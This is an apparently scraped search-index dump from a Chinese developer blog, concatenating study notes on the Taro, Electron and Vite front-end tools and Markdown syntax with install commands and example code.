Data\rTaro路由（通过app.jsx的pages，谁在第一个数组的值，那么该就是默认打开的首页）\ntaro路由是自带的，只需要在app.js入口文件配置config.pages（pages是数组），就可以使用taro的api来访问路由，例如：\npages: [\r'pages/main/main',\r'pages/data/data'\r],\r注意，不需要导入页面，Taro可以自动化完成\nTaro 提供了6个路由api，分别是\nnavigateTo：记录上级页面，可以返回上级页面\nredirectTo：不记录上级页面\nswitchTab：Tab之间进行切换\nnavigateBack：返回上一级页面\ngetCurrentPages：获取当前页面信息（页面栈），注意h5不支持\nrelaunch：销毁所有页面（关闭）\n注意：微信小程序存在五层页面限制，要合理使用navigateTo和redirectTo\n路由配合页面之间传递参数\n发送参数\n例如：\nimport Taro ,{useState} from '@tarojs/taro'\rimport {View , Text ,Button} from '@tarojs/components'\rfunction Main(){\rconst [data,setData] = useState(\u0026quot;hallo\u0026quot;)\rconst UrlIndex=()=\u0026gt;{\rTaro.navigateTo({url:'/pages/index/index'+data})\r}\rreturn (\r\u0026lt;View\u0026gt;\r\u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt;\r\u0026lt;Button onClick={UrlIndex}\u0026gt;GO\u0026lt;/Button\u0026gt;\r\u0026lt;/View\u0026gt;\r)\r}\rexport default Main\r只需要在Index.jsx下接收就可，例如：\nimport Taro, { useState ,useEffect } from '@tarojs/taro'\r...\rconst [data,setData] = useState('')\ruseEffect(()=\u0026gt;{\rsetData(this.$router.params.data)\r},[])\r...\r\u0026lt;Text\u0026gt;{data}\u0026lt;/Text\u0026gt;\r多参数传递也是可以\nconst [data,setData] = useState(\u0026quot;hallo\u0026quot;)\rconst [name,setName] = useState(\u0026quot;root\u0026quot;)\rconst [pass,setPass] = useState(\u0026quot;123\u0026quot;)\rconst UrlIndex=()=\u0026gt;{\rTaro.navigateTo({url:'/pages/index/index?data='+data+'\u0026amp;name='+name+'\u0026amp;pass='+pass})\r}\r接收多参数\nconst [data,setData] = useState('')\rconst [name,setName] = useState('')\rconst [pass,setPass] = useState('')\ruseEffect(()=\u0026gt;{\rsetData(this.$router.params.data)\rsetName(this.$router.params.name)\rsetPass(this.$router.params.pass)\r},[])\r...\r\u0026lt;Text\u0026gt;{data}\u0026lt;/Text\u0026gt;\r\u0026lt;Text\u0026gt;{name}\u0026lt;/Text\u0026gt;\r\u0026lt;Text\u0026gt;{pass}\u0026lt;/Text\u0026gt;\r导入静态资源\nimport Taro ,{useState ,useEffect}from '@tarojs/taro'\rimport {View , Text ,Button, Image} from '@tarojs/components'\rimport {imgdata,cssdata} from '../../data' // 导入方法（函数）\rimport logo from '../../img/1.jpg' // 导入静态资源\ruseEffect(()=\u0026gt;{\rimgdata()\rcssdata()\r},[])\r...\r\u0026lt;Image src={newbbd} width=\u0026quot;300px\u0026quot; height=\u0026quot;300px\u0026quot; /\u0026gt;\r或者\n\u0026lt;Image src={require('../../img/1.jpg')} width=\u0026quot;300px\u0026quot; height=\u0026quot;300px\u0026quot; /\u0026gt;\r请求远程端口\nconst testData= ()=\u0026gt;{\rTaro.request({\rurl:'https://xxx.xxx/xxx'\r}).then(mainData=\u0026gt;{\rconsole.log(mainData.data)\r})\r}\rurl是目标接口，then()是请求完毕获取到的数据\n生命周期与state\nTaro支持react的生命周期，另外Taro还为小程序补充了一些react不存在的生命周期，方便Taro开发小程序时使用\n组件的生命周期\nclass Test extends Component{\rconstructor (props) {\r// constructor会在组件挂载（组件渲染到Taro虚拟DOM之前）之前被执行\rsuper(props)\rthis.state = {\rdata: 'admin'\r}\r}\rcomponentWillMount (){\rconsole.log('第一次渲染之前执行') // 组件被装载渲染之前执行\r}\rcomponentDidMount(){\rconsole.log('第一次渲染之后执行') // 组件被装载渲染之后执行\rthis.setState({ data: 'root' }) // 修改state状态，需要通过setState方法来修改，而不是直接修改\r}\rcomponentWillUnmount(){\rconsole.log('组件被销毁或者被卸载时执行')\r}\rcomponentWillUpdate(){\rconsole.log('state数据更新前执行') // 当组件接收到新的state或者props，该钩子会在渲染之前执行，其中也可以接收2个参数，nextProps, nextState\r}\rcomponentDidUpdate(){\rconsole.log('state数据更新后执行') // 当发送更新时执行。第一次渲染不会被触发\r}\rshouldComponentUpdate(nextProps, nextState){\r// 表示该组件不受state状态或者props影响，通过返回值来表示是否在每次state状态更新时重新渲染，默认返回true\r// 该钩子函数接收2个参数，分别是nextProps, nextState，分别表示最新的props和state\rconsole.log(nextProps, nextState)\rreturn false\r}\rcomponentWillReceiveProps(nextProps){\rconsole.log('Props参数发生改变之前执行') // 当已被装载渲染的组件接收到新的props属性之前执行，nextProps参数表示最新的props属性\r}\rgetSnapshotBeforeUpdate(){\rconsole.log('在最近一次渲染之前执行') // 可用来组件渲染之前捕获数据\r}\rrender(){\rreturn(\r\u0026lt;View\u0026gt;\r\u0026lt;Text\u0026gt;hallo word {this.state.data}\u0026lt;/Text\u0026gt;\r\u0026lt;/View\u0026gt;\r)\r}\r}\rTaro Props（父子组件通信）\n子组件\nexport default class DataTest extends Component{\rrender(){\rlet {data} = this.props\rreturn(\r\u0026lt;View\u0026gt;\rhallo {data}\r\u0026lt;/View\u0026gt;\r)\r}\r}\r父组件\nimport DataTest from './datatest'\rexport default class Test extends Component{\rconstructor (props) {\rsuper(props)\rthis.state = {\rdata: 'admin'\r}\r}\rrender(){\rlet {data} = this.state.data\rreturn(\r\u0026lt;View\u0026gt;\r\u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt;\r\u0026lt;DataTest data={data}/\u0026gt;\r\u0026lt;/View\u0026gt;\r)\r}\r}\rprops默认值\nDataTest.defaultProps = {\rdata: 'user'\r}\r注意：当props为undefined时，才将读取defaultProps的值作为props\n条件渲染\n三元表达式\n{\rtrue?\u0026lt;div\u0026gt;hallo wrod\u0026lt;/div:\u0026lt;div\u0026gt;hhh\u0026lt;/div\u0026gt;\r}\r短路表达式\n{\r!true||\u0026lt;div\u0026gt;hallo wrod\u0026lt;/div\u0026gt;\r}\r列表渲染\nstate = {\rlist: [\r{id:1,name:'root'},\r{id:2,name:'abc'},\r{id:3,name:'test'}\r]\r}\r...\rlet {list} = this.state\r...\r{\rlist.map((item, index) =\u0026gt;{\rreturn(\u0026lt;div key={index}\u0026gt;{item.name}\u0026lt;/div\u0026gt;)\r})\r}\rchildren传入组件\nexport default class Test extends Component{\rrender(){\rreturn(\r\u0026lt;View\u0026gt;\r{\rthis.props.texts\r}\r{\rthis.props.children\r}\r\u0026lt;/View\u0026gt;\r)\r}\r}\r调用的时候，直接在父组件使用就可以\nreturn(\r\u0026lt;View\u0026gt;\r\u0026lt;Test texts={\u0026lt;div\u0026gt;hallo wrod\u0026lt;/div\u0026gt;}\u0026gt;\u0026lt;/Test\u0026gt;\r\u0026lt;Test\u0026gt;hallo 123\u0026lt;/Test\u0026gt;\r\u0026lt;Test\u0026gt;hallo 666\u0026lt;/Test\u0026gt;\r\u0026lt;/View\u0026gt;\r)\r注意：不要对this.props.children进行任何操作，taro在小程序实现这个功能是利用了插槽Slot功能，而且this.props.children不能使用defaultProps进行设置默认，也不能拆分成变量进行使用，但是允许通过props自定义属性的方式传入组件\n事件处理\nstate = {\rname: 'root'\r}\rtest(){\rconsole.log(this.state.name)\r}\rrender(){\rreturn(\r\u0026lt;View\u0026gt;\r\u0026lt;Button onClick={this.test.bind(this)\u0026gt;\u0026lt;/Button\u0026gt;\r\u0026lt;/View\u0026gt;\r)\r}\rtaro事件函数有个默认参数，event，它指向该事件的具体，可通过event.stopPagenation()来阻止当前事件的事件冒泡\n注意：taro的全部事件需要用on开头（而且组件传入参数是函数，这个函数也必须是on开头命名的），是为了小程序（因为小程序会认为是字符串），如果不做小程序可以忽略\ntaro判断当前环境是h5还是小程序（只限制开发环境，生产环境是无效的）\nconst ish5 = process.env.TARO_ENV == 'h5'\rif(ish5){\rrequire('./h5.less')\r}else{\rrequire('./noh5.less')\r}\r布局推荐使用flex布局\n在taro应用typescript\n为非ts项目安装ts依赖\nnpm install typescript \u0026ndash;save\n还需要配置tsconfig.json\n{\r\u0026quot;compilerOptions\u0026quot;: {\r\u0026quot;target\u0026quot;: \u0026quot;es2017\u0026quot;,\r\u0026quot;module\u0026quot;: \u0026quot;commonjs\u0026quot;,\r\u0026quot;removeComments\u0026quot;: false,\r\u0026quot;preserveConstEnums\u0026quot;: true,\r\u0026quot;moduleResolution\u0026quot;: \u0026quot;node\u0026quot;,\r\u0026quot;experimentalDecorators\u0026quot;: true,\r\u0026quot;jsxFactory\u0026quot;: \u0026quot;Taro.createElement\u0026quot;,\r\u0026quot;noImplicitAny\u0026quot;: false,\r\u0026quot;allowSyntheticDefaultImports\u0026quot;: true,\r\u0026quot;outDir\u0026quot;: \u0026quot;lib\u0026quot;,\r\u0026quot;noUnusedLocals\u0026quot;: true,\r\u0026quot;noUnusedParameters\u0026quot;: true,\r\u0026quot;strictNullChecks\u0026quot;: true,\r\u0026quot;sourceMap\u0026quot;: true,\r\u0026quot;baseUrl\u0026quot;: \u0026quot;.\u0026quot;,\r\u0026quot;rootDir\u0026quot;: \u0026quot;.\u0026quot;,\r\u0026quot;jsx\u0026quot;: \u0026quot;preserve\u0026quot;,\r\u0026quot;typeRoots\u0026quot;: [\r\u0026quot;node_modules/@types\u0026quot;,\r\u0026quot;global.d.ts\u0026quot;\r]\r},\r\u0026quot;compileOnSave\u0026quot;: false\r}\r如果是新建项目，可以在初始化时指定需要使用typescript\n编译ts文件完成，也是放到dist目录下\n","permalink":"https://xiaochenabc123.github.io/posts/92/","summary":"Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行\nTaro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持\nTaro官方文档：https://taro-docs.jd.com/taro/docs/README\nTaro官方组件库：https://taro-ui.jd.com/\nTaro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等\nTaro 1.2支持将已有的微信小程序进行转换，只需要在项目根目录运行taro convert命令就可以在将现有的小程序项目转换到taroConvert目录下，转换成jsx代码，并且可以直接使用这个代码来进行taro build来编译成taro支持的平台应用\n安装Taro框架\nnpm install -g @tarojs/cli\n或者\nyarn global add @tarojs/cli\n升级框架\ntaro update self\n创建项目\ntaro init hallo\n创建h5项目\nyarn dev:h5\n创建微信小程序项目\nyarn dev:weapp\n创建完毕会在dist目录下生成小程序程序\n支付宝小程序 yarn dev:alipay\n百度小程序 yarn dev:swan\nReactNative yarn dev:rn\n编译完成的端源码在dist目录下\n作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的\nTaro组件化（Taro可以使用react开发，因此也具备react的组件化功能）\nimport Taro, { useState } from '@tarojs/taro'\rimport { View, Text } from '@tarojs/components'\rimport './index.less'\rfunction Main(){\rconst [count ,setUserName] = useState(\u0026quot;hallo word\u0026quot;)\rreturn ( \u0026lt;View\u0026gt;\r\u0026lt;Text\u0026gt;{count}\u0026lt;/Text\u0026gt;\r\u0026lt;/View\u0026gt;\r)\r}\rexport default Main\r子组件","title":"Taro框架学习笔记"},{"content":"Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行\nTaro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持\nTaro官方文档：https://taro-docs.jd.com/taro/docs/README\nTaro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等\n安装Taro脚手架\nnpm install -g @tarojs/cli\n或者\nyarn global add @tarojs/cli\n升级脚手架工具\ntaro update self\n创建项目\ntaro init hallo\n创建h5项目\nyarn dev:h5\n创建微信小程序项目\nyarn dev:weapp\n创建完毕会在dist目录下生成小程序程序\n作为一个可以使用react开发的脚手架，React Hooks和jsx也是支持的\nTaro组件化（Taro可以使用react开发，因此也具备react的组件化功能）\nimport Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState(\u0026quot;hallo word\u0026quot;) return ( \u0026lt;View\u0026gt; \u0026lt;Text\u0026gt;{count}\u0026lt;/Text\u0026gt; \u0026lt;/View\u0026gt; ) } export default Main 子组件\nimport { View, Text } from '@tarojs/components' function Data(){ return ( \u0026lt;View\u0026gt;\u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt;\u0026lt;/View\u0026gt; ) } export default Data 导入\nimport Data from \u0026lsquo;./data.jsx\u0026rsquo;\n直接在父组件中使用就好\n父组件传递参数给子组件\n学过react都知道，父组件传递参数给子组件要通过props接收，因此子组件要加props参数\nfunction Data(props){ return ( \u0026lt;View\u0026gt;\u0026lt;Text\u0026gt;{props.count}\u0026lt;/Text\u0026gt;\u0026lt;/View\u0026gt; ) } export default Data Taro路由（通过app.jsx的pages，谁在第一个数组的值，那么该就是默认打开的首页）\npages: [ 'pages/main/main', 'pages/data/data' ], 注意，不需要导入页面，Taro可以自动化完成\nTaro 提供了6个路由api，分别是\nnavigateTo：记录上级页面，可以返回上级页面\nredirectTo：不记录上级页面\nswitchTab：Tab之间进行切换\nnavigateBack：返回上一级页面\ngetCurrentPages：获取当前页面信息（页面栈），注意h5不支持\nrelaunch：销毁所有页面（关闭）\n路由配合页面之间传递参数\n发送参数\n例如：\nimport Taro ,{useState} from '@tarojs/taro' import {View , Text ,Button} from '@tarojs/components' function Main(){ const [data,setData] = useState(\u0026quot;hallo\u0026quot;) const UrlIndex=()=\u0026gt;{ Taro.navigateTo({url:'/pages/index/index'+data}) } return ( \u0026lt;View\u0026gt; \u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt; \u0026lt;Button onClick={UrlIndex}\u0026gt;GO\u0026lt;/Button\u0026gt; \u0026lt;/View\u0026gt; ) } export default Main 只需要在Index.jsx下接收就可，例如：\nimport Taro, { useState ,useEffect } from '@tarojs/taro' ... const [data,setData] = useState('') useEffect(()=\u0026gt;{ setData(this.$router.params.data) },[]) ... \u0026lt;Text\u0026gt;{data}\u0026lt;/Text\u0026gt; 多参数传递也是可以\nconst [data,setData] = useState(\u0026quot;hallo\u0026quot;) const [name,setName] = useState(\u0026quot;root\u0026quot;) const [pass,setPass] = useState(\u0026quot;123\u0026quot;) const UrlIndex=()=\u0026gt;{ Taro.navigateTo({url:'/pages/index/index?data='+data+'\u0026amp;name='+name+'\u0026amp;pass='+pass}) } 接收多参数\nconst [data,setData] = useState('') const [name,setName] = useState('') const [pass,setPass] = useState('') useEffect(()=\u0026gt;{ setData(this.$router.params.data) setName(this.$router.params.name) setPass(this.$router.params.pass) },[]) ... \u0026lt;Text\u0026gt;{data}\u0026lt;/Text\u0026gt; \u0026lt;Text\u0026gt;{name}\u0026lt;/Text\u0026gt; \u0026lt;Text\u0026gt;{pass}\u0026lt;/Text\u0026gt; 导入静态资源\nimport Taro ,{useState ,useEffect}from '@tarojs/taro' import {View , Text ,Button, Image} from '@tarojs/components' import {imgdata,cssdata} from '../../data' // 导入方法（函数） import logo from '../../img/1.jpg' // 导入静态资源 useEffect(()=\u0026gt;{ imgdata() cssdata() },[]) ... \u0026lt;Image src={newbbd} width=\u0026quot;300px\u0026quot; height=\u0026quot;300px\u0026quot; /\u0026gt; 或者\n\u0026lt;Image src={require('../../img/1.jpg')} width=\u0026quot;300px\u0026quot; height=\u0026quot;300px\u0026quot; /\u0026gt; 请求远程端口\nconst testData= ()=\u0026gt;{ Taro.request({ url:'https://xxx.xxx/xxx' }).then(mainData=\u0026gt;{ console.log(mainData.data) }) } url是目标接口，then()是请求完毕获取到的数据\n","permalink":"https://xiaochenabc123.github.io/posts/92/","summary":"Taro是京东凹凸实验室推出的一个脚手架，设计目的是多端统一开发解决方案，一次开发，多端运行\nTaro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持\nTaro官方文档：https://taro-docs.jd.com/taro/docs/README\nTaro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等\n安装Taro脚手架\nnpm install -g @tarojs/cli\n或者\nyarn global add @tarojs/cli\n升级脚手架工具\ntaro update self\n创建项目\ntaro init hallo\n创建h5项目\nyarn dev:h5\n创建微信小程序项目\nyarn dev:weapp\n创建完毕会在dist目录下生成小程序程序\n作为一个可以使用react开发的脚手架，React Hooks和jsx也是支持的\nTaro组件化（Taro可以使用react开发，因此也具备react的组件化功能）\nimport Taro, { useState } from '@tarojs/taro' import { View, Text } from '@tarojs/components' import './index.less' function Main(){ const [count ,setUserName] = useState(\u0026quot;hallo word\u0026quot;) return ( \u0026lt;View\u0026gt; \u0026lt;Text\u0026gt;{count}\u0026lt;/Text\u0026gt; \u0026lt;/View\u0026gt; ) } export default Main 子组件\nimport { View, Text } from '@tarojs/components' function Data(){ return ( \u0026lt;View\u0026gt;\u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt;\u0026lt;/View\u0026gt; ) } export default Data 导入","title":"Taro脚手架学习笔记"},{"content":"Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用\nGUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能\nVisual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟\n但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m\n安装Electron\nnpm install electron \u0026ndash;save-dev\n全局安装\nnpm install -g electron\n新建项目，并且在该目录下建立index.html文件和main.js\nmian.js是Electron应用的配置文件\n导入electron模块\nvar electron = require(\u0026rsquo;electron')\n创建Electron引用\nvar app = electron.app\n创建窗口引用\nvar BrowserWindow = electron.BrowserWindow\n声明主窗口\nvar mainWindow = null\n设置参数\napp.on('ready',()=\u0026gt;{\rmainWindow = new BrowserWindow({\r// 设置窗口大小\rwidth:500,\rheight:500,\rwebPreferences:{\rnodeIntegration: true\r// 是否集成node\r}\r}) mainWindow.loadFile('index.html') // 指定窗口加载那个页面\rmainWindow.on('closed',()=\u0026gt;{\rmainWindow = null\r// 监听销毁事件，事件触发关闭主窗口，设置为null\r})\r})\r初始化\nnpm init \u0026ndash;yes\n启动项目\nelectron .\n安装打包应用依赖\nnpm install electron-packager \u0026ndash;save-dev\n修改package.json文件\n\u0026ldquo;packager\u0026rdquo;: \u0026ldquo;electron-packager ./ halloword \u0026ndash;platform=all \u0026ndash;out=./App\u0026rdquo;\n./是项目路径，hallword是项目名字，\u0026ndash;platform=all是构建x86和x64构架，也可以指定win32或者win64\n\u0026ndash;out=./App是打包应用到哪个文件夹中\n启动打包应用\nnpm run-script packager\n加密app文件夹，避免程序暴露\n安装asar\nnpm install asar -g\n在项目中安装\nnpm install asar \u0026ndash;save-dev\n启动加密\nasar pack ./app app.asar\n","permalink":"https://xiaochenabc123.github.io/posts/91/","summary":"Electron是由github开发的开源框架，允许开发者使用web技术构建跨平台的桌面应用\nGUI由Chromium提供，底层通过Nodejs提供，Native API提供桌面端和跨平台的原生功能\nVisual Studio Code和Atom都是使用Electron开发的，可以说技术很成熟\n但是毕竟是基于Chromium的，打包出来的应用非常大，就算是个halloword，也要几百m\n安装Electron\nnpm install electron \u0026ndash;save-dev\n全局安装\nnpm install -g electron\n新建项目，并且在该目录下建立index.html文件和main.js\nmian.js是Electron应用的配置文件\n导入electron模块\nvar electron = require(\u0026rsquo;electron')\n创建Electron引用\nvar app = electron.app\n创建窗口引用\nvar BrowserWindow = electron.BrowserWindow\n声明主窗口\nvar mainWindow = null\n设置参数\napp.on('ready',()=\u0026gt;{\rmainWindow = new BrowserWindow({\r// 设置窗口大小\rwidth:500,\rheight:500,\rwebPreferences:{\rnodeIntegration: true\r// 是否集成node\r}\r}) mainWindow.loadFile('index.html') // 指定窗口加载那个页面\rmainWindow.on('closed',()=\u0026gt;{\rmainWindow = null\r// 监听销毁事件，事件触发关闭主窗口，设置为null\r})\r})\r初始化\nnpm init \u0026ndash;yes","title":"简单利用Electron框架开发桌面端应用"},{"content":"Markdown是一个标记语言，常用于编写文档\n标题\n一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6\n段落\n斜体文本\n斜体文本\n粗体文本\n粗体文本\n粗斜体文本\n粗斜体文本\n分割线\n删除线\nhallo\n脚注\n列表\n列表 列表 列表 1.列表\n区块\nxxx 代码\nxxx\nxxx\n链接\nchenjunlin\n图片\n表格\nxxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐\n转义\n*\n","permalink":"https://xiaochenabc123.github.io/posts/88/","summary":"Markdown是一个标记语言，常用于编写文档\n标题\n一级标题 二级标题 三级标题 四级标题 五级标题 六级标题 分别对别h1到h6\n段落\n斜体文本\n斜体文本\n粗体文本\n粗体文本\n粗斜体文本\n粗斜体文本\n分割线\n删除线\nhallo\n脚注\n列表\n列表 列表 列表 1.列表\n区块\nxxx 代码\nxxx\nxxx\n链接\nchenjunlin\n图片\n表格\nxxx xxx yyy yyy yyy yyy :-表示左对齐，-:表示右对齐，:-:表示居中对齐\n转义\n*","title":"Markdown基础语法笔记"},{"content":"Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载\nVite在法语中的意思为快速的\n基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块\n依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）\n对于TypeScrip的支持程度相当好，只需要在script元素加lang=\u0026ldquo;ts\u0026quot;就可以使用ts了\n至于less，sass/scss之类的css预处理器以及css原生支持也是很好，Vite支持css样式直接引入（import \u0026lsquo;./app.css\u0026rsquo;）\nsass/scss使用（前提已经安装了sass）\n在style元素中加lang=\u0026ldquo;scss\u0026quot;就可以使用sass了\njson也是可以直接引入，例如：import data from \u0026lsquo;./data.json\u0026rsquo;\n另外对于JSX也是支持的，用.jsx表示jsx，例如：import App from \u0026lsquo;./App.jsx\u0026rsquo;\nvite有一套开发服务功能，基于原生es模块，ESM+HMR，而且还有一套项目构建指令，用rollup打包\n打包：指的是使用工具来抓取和处理源码模块，并且合成可以在浏览器上运行的文件（浏览器本身并不提供模块管理的机制，多模块需要很多的script标签，很繁琐臃肿，而打包就很好的解决了这个问题）\n常见的打包工具例如：webpack，rollup，parcel，gulp\n注意：当冷启动服务的时候，必须要先抓取并且构建应用（当应用越来越大，模块越来越多的时候，会导致服务启动缓慢），才能提供服务，而且进行模块更新的话，也会导致重建应用缓慢\n传统打包，是将多个模块打包成单一的文件，而esm打包，是根据http请求，来获取相应的route，再根据route来获取module（避免一开始就获取全部module）\nvite将模块分为依赖和源码，依赖指的是开发时不会发生改变的，vite将使用esbuild预构建依赖，而且将以原生ESM方式让浏览器接管打包源码\n构建Vite项目\nnpm create vite\n或者\nyarn create vite\n然后初始化一下\nnpm install\n或者\nyarn\n启动服务器\nvite\n或者\nnpm run dev，yarn dev\n本地预览\nvite preview\n打包\nvite build\nreact\nnpm create vite\n选择react，如果需要ts，也可以选择ts\nnpm install\nVite是一个构建工具的高阶封装（生产环境打包用Rollup来构建），开发环境无需要打包编译（利用现代浏览器的原生ESM来进行导入模块，模块加载的工作由浏览器完成，实现冷启动），支持动态模块热重载（HMR），开发环境的编译通过Esbuild来完成\nVite生产环境构建（也就是Rollup）是根据browserslist来做浏览器兼容性的，需要通过修改vite.config.ts下的build.target来指定构建目标，Vite最低支持es2015，也就是es6，需要es5以及更多浏览器可能无法正常运行或者通过@vitejs/plugin-legacy插件来获取支持（注意：使用该插件也不能让vue3支持ie11，只有vue2支持ie11）\n安装@vitejs/plugin-legacy\nyarn add @vitejs/plugin-legacy -d\r配置vite.config.ts\nimport legacy from '@vitejs/plugin-legacy'\r...\rplugins: [\rlegacy([\rtargets: ['defaults','no IE 11']\r])\r]\r...\rbuild: {\rtarget: 'es2015'\r}\r浏览器原生ESM导入\nindex.html\n\u0026lt;div id='app'\u0026gt;\u0026lt;/div\u0026gt;\r\u0026lt;script type='module' src='app.js'\u0026gt;\u0026lt;/script\u0026gt;\rapp.js\nimport { createApp } from 'vue'\rimport App form './App.vue'\rimport './index.css'\rcreateApp(App).mount(\u0026quot;#app\u0026quot;)\r浏览器解析index.html的时候，通过\u0026lt;script type=\u0026lsquo;module\u0026rsquo; src=\u0026lsquo;app.js\u0026rsquo;\u0026gt;得到app.js文件，而且声明该文件使用的ESM模块化的机制，然后对app.js导入的模块进行实时编译，实现按需加载\n因为其是利用了原生ESM模块化，因此Vite原生支持css，不需要额外配置，通过插入style元素来实现\nmain.js\nimport './index.css'\r使用less或者sass，postcss都很简单，Vite内置了配置，无需配置Vite\n安装less\nyarn add less -d\r安装sass\nyarn add sass -d\r安装postcss\nyarn add postcss -D\rpostcss是通过插件完成功能的，因此还得根据需要来安装插件（注意：postcss.config.js配置文件导入插件，不需要使用require()导入，而是直接写入字符串）\n使用typescript（vite默认支持typescript，但是只进行ts编译，不会进行校验）\nApp.vue\nimport { test } './index'\r让vite支持校验typescript\n安装typescript\nyarn add typescript -d\n修改package.json命令\n\u0026quot;scripts\u0026quot;: {\r\u0026quot;build\u0026quot;: \u0026quot;tsc --noEmit \u0026amp;\u0026amp; vite build\u0026quot;\r}\r添加tsconfig.json配置\n{\r\u0026quot;compilerOptions\u0026quot;: {\r\u0026quot;target\u0026quot;: \u0026quot;esnext\u0026quot;,\r\u0026quot;module\u0026quot;: \u0026quot;esnext\u0026quot;,\r\u0026quot;moduleResolution\u0026quot;: \u0026quot;node\u0026quot;,\r\u0026quot;strict\u0026quot;: true,\r\u0026quot;jsx\u0026quot;: \u0026quot;preserve\u0026quot;,\r\u0026quot;sourceMap\u0026quot;: true,\r\u0026quot;resolveJsonModule\u0026quot;: true,\r\u0026quot;esModuleInterop\u0026quot;: true,\r\u0026quot;lib\u0026quot;: [\u0026quot;esnext\u0026quot;,\u0026quot;dom\u0026quot;],\r\u0026quot;isolatedModules\u0026quot;: true,\r},\r\u0026quot;include\u0026quot;: [\r\u0026quot;src/**/*.ts\u0026quot;,\r\u0026quot;src/**/*.d.ts\u0026quot;,\r\u0026quot;src/**/*.tsx\u0026quot;,\r\u0026quot;src/**/*.vue\u0026quot;,\r],\r}\r注意：isolatedModules属性为true时，ts文件中如果不存在import和export时，ts会认定该模块不是ESM模块，设置的原因是Babel在转义阶段，会将ts的类型声明删除，这个时候如果export类型出现，Babel是不知道有这个类型存在的（因为js没有类型），导致前端报错，开启这个功能可以在开发阶段就提示错误（）\n校验.vue文件（vue-tsc）\n安装vue-tsc\nyarn add vue-tsc -d\r修改package.json命令\n\u0026quot;scripts\u0026quot;: {\r\u0026quot;build\u0026quot;: \u0026quot;vue-tsc --noEmit \u0026amp;\u0026amp; tsc --noEmit \u0026amp;\u0026amp; vite build\u0026quot;\r}\rvite集成eslint和pritter\n安装依赖\nnpm install eslint-config-standard eslint-plugin-import eslint-plugin-promise eslint-plugin-node -d\n.eslintrc.js，使用standard规则\nmodule.exports = {\rextends: 'standard',\r}\r.pritterrc（搭配vsc插件pritter使用，prettier用来格式化）\n{\r'semi': false,\r'singleQuote': true\r}\rvsc打开设置，搜索format on save，构选，再搜索formatter，选择prettier插件，保存时将会使用prettier进行代码格式化（让代码符合eslint规则）\nvite的HMR热更新API\nimport.meta可以返回当前模块的信息，需要在模块内部使用，由ECMAScript实现这个功能\n\u0026lt;script type='module'\u0026gt;\rconsole.log(import.meta)\r\u0026lt;/script\u0026gt;\r可以看到其返回的是一个对象，该对象有个url属性，这个url属性指向了模块的url，这个对象可以进行扩展\nvite通过扩展该对象，import.meta.hot手动暴露HMR（获取新的模块），例如：\nif(import.meta.hot){\rimport.meta.hot.accept((newMod) =\u0026gt;{\rnewMod.Dom()\r})\r}\r原理是服务端发现模块更新了，发送一个事件给客户端，客户端知道模块更新了，就通过发送请求获取最新的文件，将老的模块替换成新的，就实现热更新功能了\nvite批量导入\nconst mods = import.meta.glob('./src/*')\rconsole.log(mods)\r可以看到输出了一个键值对，键为文件名，值为该文件的import\nObject.entries(mods).forEach([a,b]) =\u0026gt;{\rb().then(mod =\u0026gt; {\rconsole.log(mod.default)\r})\r}\r预编译（运行vite项目，会在node_modules下创建一个.vite文件夹，这个文件夹是vite的依赖，直接读取这个依赖就可以了）\n预编译的另一个作用是可以将多个依赖文件整合成一个文件，可以通过optimizeDeps，exclude禁止预编译某个依赖来查看\n","permalink":"https://xiaochenabc123.github.io/posts/87/","summary":"Vite是由 Vue.js 的作者尤雨溪开发完成的一款前端项目构建工具，使用原生ESM文件，支持热重载\nVite在法语中的意思为快速的\n基于原生 import 的，使用浏览器来解析import，服务端按需编译返回，支持热更新模块\n依赖于Rollup打包，虽然vite设计初衷是为了vue3.x的，但是也是支持其他框架（例如react）\n对于TypeScrip的支持程度相当好，只需要在script元素加lang=\u0026ldquo;ts\u0026quot;就可以使用ts了\n至于less，sass/scss之类的css预处理器以及css原生支持也是很好，Vite支持css样式直接引入（import \u0026lsquo;./app.css\u0026rsquo;）\nsass/scss使用（前提已经安装了sass）\n在style元素中加lang=\u0026ldquo;scss\u0026quot;就可以使用sass了\njson也是可以直接引入，例如：import data from \u0026lsquo;./data.json\u0026rsquo;\n另外对于JSX也是支持的，用.jsx表示jsx，例如：import App from 